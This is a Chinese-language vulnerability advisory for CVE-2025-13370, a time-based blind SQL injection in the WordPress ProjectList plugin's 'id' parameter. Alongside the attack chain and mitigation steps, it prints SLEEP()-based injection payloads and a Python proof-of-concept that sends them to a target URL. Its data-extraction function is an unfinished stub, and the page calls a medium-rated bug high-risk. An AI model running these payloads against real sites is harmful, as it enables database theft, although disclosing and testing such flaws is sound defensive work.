IPBUF安全漏洞报告
English
CVE-2025-13370 CVSS 4.9 中危

CVE-2025-13370 WordPress ProjectList插件SQL注入漏洞

披露日期: 2025-11-25

漏洞信息

漏洞编号
CVE-2025-13370
漏洞类型
SQL注入
CVSS评分
4.9 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
WordPress ProjectList插件

相关标签

SQL注入时间盲注WordPress插件ProjectListCVE-2025-13370认证用户攻击数据库泄露Web安全

漏洞概述

CVE-2025-13370是WordPress平台ProjectList插件中的一个高危安全漏洞。该插件是一款用于项目管理的高级WordPress插件,在0.3.0及以下所有版本中均存在时间盲注SQL注入(Time-based SQL Injection)漏洞。漏洞产生的根本原因在于插件对用户可控的'id'参数缺乏充分的输入验证和转义处理,同时在数据库查询执行前未进行足够的SQL语句预编译准备。攻击者利用此漏洞需要具备WordPress网站Editor级别或更高的用户权限,一旦成功利用,可通过构造特殊的SQL查询语句绕过现有查询逻辑,实现对数据库中敏感信息的非法提取,包括用户凭据、个人隐私数据、业务关键信息等。时间盲注SQL注入的特点在于攻击者无法直接看到查询结果,而是通过数据库响应时间的差异来判断SQL语句执行的真假状态,进而逐步推断和窃取数据库内容。该漏洞影响所有使用ProjectList插件的WordPress网站,建议管理员立即采取修复措施以防止潜在的安全威胁。

技术细节

ProjectList插件0.3.0及以下版本在处理用户提交的'id'参数时存在严重的SQL注入漏洞。漏洞点位于插件的pl-add.php文件第61行附近,程序直接将该参数值拼接到SQL查询语句中而未进行任何形式的过滤或参数化预处理。攻击者利用时间盲注技术,通过在SQL语句中嵌入如SLEEP()或BENCHMARK()等时间延迟函数,根据页面响应时间判断注入条件是否成立。例如,攻击者可构造类似'id=1 AND (SELECT 1 FROM (SELECT SLEEP(5))test)'的payload,当条件为真时数据库将执行延迟操作,攻击者即可通过测量响应时间获取布尔值信息。进一步利用UNION SELECT和子查询技术,攻击者能够逐步枚举数据库结构、提取用户表中的密码哈希值和其他敏感数据。由于该漏洞需要Editor级别权限,攻击者可能通过社会工程学或利用其他低权限漏洞获取初始访问点,进而实施横向移动和数据窃取攻击。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress网站的Editor级别或更高权限账户,可能通过钓鱼、社会工程或利用其他低危漏洞获得初始访问
STEP 2
步骤2
攻击者访问ProjectList插件的pl-add.php页面,该页面存在SQL注入漏洞
STEP 3
步骤3
攻击者构造包含时间延迟函数(如SLEEP())的恶意SQL payload,通过id参数注入
STEP 4
步骤4
通过测量服务器响应时间,攻击者逐步推断数据库结构和内容,实现时间盲注攻击
STEP 5
步骤5
利用UNION查询和子查询技术枚举数据库表,提取用户凭据、隐私数据等敏感信息
STEP 6
步骤6
攻击者利用窃取的凭据进行横向移动或进一步渗透攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import time target_url = "http://target-wordpress-site/wp-content/plugins/projectlist/pages/pl-add.php" # Time-based blind SQL injection PoC def test_sqli(id_param): start_time = time.time() payload = f"{id_param} AND (SELECT 1 FROM (SELECT SLEEP(5))test)" data = {"id": payload} try: response = requests.post(target_url, data=data, timeout=10) elapsed = time.time() - start_time if elapsed >= 5: return True # SQL injection confirmed except requests.exceptions.Timeout: return True return False # Test for vulnerability if test_sqli("1"): print("[+] CVE-2025-13370 vulnerability confirmed!") print("[+] ProjectList plugin is vulnerable to time-based SQL injection") else: print("[-] Target may not be vulnerable or unreachable") # Example: Extract database version using blind injection def extract_db_version(): charset = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz@_." result = "" for pos in range(1, 50): for char in charset: payload = f"1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT MID(version(),{pos},1) FROM dual),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)" # Implementation would require blind timing analysis pass return result

影响范围

ProjectList插件 <= 0.3.0

防御指南

临时缓解措施
在等待官方补丁发布期间,可采取以下临时缓解措施:1)暂时禁用ProjectList插件直至更新到安全版本;2)限制Editor及以上权限账户的分配,仅授予可信用户;3)在Web服务器层面配置SQL注入防护规则,拦截包含SLEEP()、BENCHMARK()等时间函数的请求;4)启用数据库查询日志监控,及时发现异常的SQL执行行为;5)考虑使用云WAF服务提供额外的安全防护层。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表